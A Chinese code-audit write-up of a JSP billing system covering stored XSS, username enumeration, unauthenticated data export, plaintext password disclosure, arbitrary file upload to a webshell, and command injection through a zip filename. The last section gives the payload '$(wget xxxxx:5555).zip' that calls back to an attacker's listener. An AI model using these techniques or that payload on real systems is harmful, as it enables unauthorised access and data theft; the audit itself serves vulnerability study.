JSP代码审计从代码审计的角度看系统接口的安全性

2019-05-17 约 85 字 预计阅读 1 分钟

声明:本文 【JSP代码审计从代码审计的角度看系统接口的安全性】 由作者 mosin 于 2019-05-17 10:01:00 首发 先知社区 曾经 浏览数 208 次

感谢 mosin 的辛苦付出!

0x00 前言

代码审计的系统为某计费系统,本着学习交流的态度对本系统进行了审计,在审计过程中发现了诸多安全问题,本文在此列出几项比较经典的漏洞。在此感谢花茶安全团队的天堂空气提供的源码。

0x01 XSS漏洞

在路由userdatachange中存在XSS漏洞,此路由为用户资料修改页面,在此路由中,并不存在XSS漏洞,原因是该系统存在XSS过滤器,但是并不会影响我们保存在数据库中的数据,此XSS代码会在其他地方被触发,造成二阶XSS漏洞。
首先我们来到userdatachange路由,在进入了该userDataChange()函数后,首先会进行登录判断,随后对相关的用户权限和用户信息进行校检,校检通过后进行下面流程。

接下来函数会把我们提交过来的数据进行赋值处理,这里调用了UserDataChangeReq这个接口类的数据,在赋完值后,进行后面处理

在处理完提交过来的数据后,将会调用接口commonService中的updata()这个函数把数据存入数据库中去,可以看到,这些地方没有对数据进行过滤处理,直接把原数据存入数据库

此XSS的触发点为后台某功能处,下面来看下
在后台路由/user/operator中,函数前面还是先对相关的登录用户进行信息和登录状态的检查,在没有问题了后,将组合相关的查询语句

这里调用了数据库查询函数baseQuery()操作,把查询出来的用户信息返回输出到前台

登录普通用户账号,来到修改资料地方,在用户姓名处或者其他地方输入XSS测试代码后保存

在后台用户信息查看处,成功触发XSS漏洞

0x02 用户名枚举

在路由getindexchart中,首先获取到了用户的账号名称,然后对用户名称进行了查询,如果账号不存在,则输出不存在的信息

如果存在账号,则标记为存在并返回账号的相关状态信息

在代码中,我们可以看到,里面并没有对登录情况进行判断,所以我们可以在没有登录的情况下进行账户名枚举
当账号正确时输出信息

当账号错误时输出信息

0x03 未授权文件下载

在路由cardgroupexport中,我们可以看到函数接口并没有对登录的用户进行状态判断,直接进行了相关的操作。在函数中,当相关静态变量信息处理成功后,函数会调用接口commonService中的listALL函数进行信息查询,随后调用excel处理函数类进行excel表处理

在处理完excel表后,执行exportExcel()函数进行excel表导出

直接访问导出路由页面

0x04 任意用户密码读取

在路由checkUserIdPassword中,这里直接调用了接口commonService中的listALL函数进行信息查询,查询完后直接返回查询结果

我们来看下它都查询了些什么东西
这里我们跟进TAccounts函数,可以看到查询的信息为账号表中的所有信息,其中还包括了账号密码等敏感信息

在整个函数中,并没有对用户登录状态进行判断,所以我们可以直接利用未授权查看所有用户的账号密码,造成用户信息泄露

我们这里查询sxq账户,可以看到已经返回了相关敏感信息

查询test账户并返回相关信息

0x05 任意文件上传

在路由areaManagementUpdate中,在这个函数里面,先判断了用户是否是登录状态,咋看下可能没有未授权,但是我们仔细看下可以发现的是,这个函数虽然判断了用户是否登录,但是它并没有退出函数和跳转函数的存在,所以函数在报错后依然会执行并上传文件,我们在这里就可以确定,这个地方存在未授权访问导致文件上传。

函数在执行到下方代码时,会调用uploadFile()函数,我们跟进uploadFile()这个函数

我们来到uploadFile()函数中,uploadFile()函数在进行了一系列的上传数据处理后,开始进行文件生成处理。

在680行左右,函数生成了新的文件名,我们可以看到,这个地方直接提取了我们提交的文件名,并没有存在过滤函数,文件名我们可控

String newfileName = DateUtil.fomatDateToString(new Date(), "yyyyMMddHHmmss") + StringUtil.getRandom(3) + i + ((MultipartFile)mf.get(0)).getOriginalFilename().substring(((MultipartFile)mf.get(0)).getOriginalFilename().lastIndexOf("."));

随后在682行时,进行了写入路径拼接,最后调用写文件函数,到这里我们就可以知道,我们可以上传任意文件了

首先根据代码中提供的参数,我们构造上传页面

成功getshell

0x06 RCE漏洞

这个RCE漏洞比较有趣,我们一起来看下

在路由pageTemplateAddFile中,函数首先判断了上传文件的类型,随后调用了uploadFile()函数,我们跟进uploadFile()函数

来到了uploadFile()函数后,看到函数先提取了上传的文件信息,然后对上传文件的相关信息进行了判断解析,这里判断了后缀名称,只能上传zip文件

然后在判断结束后,如果都正常的话,就会进入到unzipFile()解压函数中去,我们跟进unzipFile()函数

在这个地方,我们可以看到,unzipFile()函数调用了系统命令来对我们传入的文件进行解压,文件名是我们可以控制的,所以这个地方就造成了命令执行,在整个过程中,函数既没有判断登录状态也没有过滤判断文件名,所以这个路由是可以通过未授权访问并进行远程命令执行的

我们直接根据函数中提供的参数进行上传包构造,然后利用burpsuite对文件名进行修改,修改为$(wget xxxxx:5555).zip,然后在公网监听5555端口,这里可以看到我们成功监听到了服务器发送过来的请求。

0x07 总结

在整个审计过程中,我们可以发现,其中常规的用户交互操作都是有严格校检的,但是对于一些程序调用接口,却没有做安全防护措施。其实在很多系统中也是一样,在接口调用方面的安全情况很糟,这种侧边界问题往往就是很容易忽视的点。

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now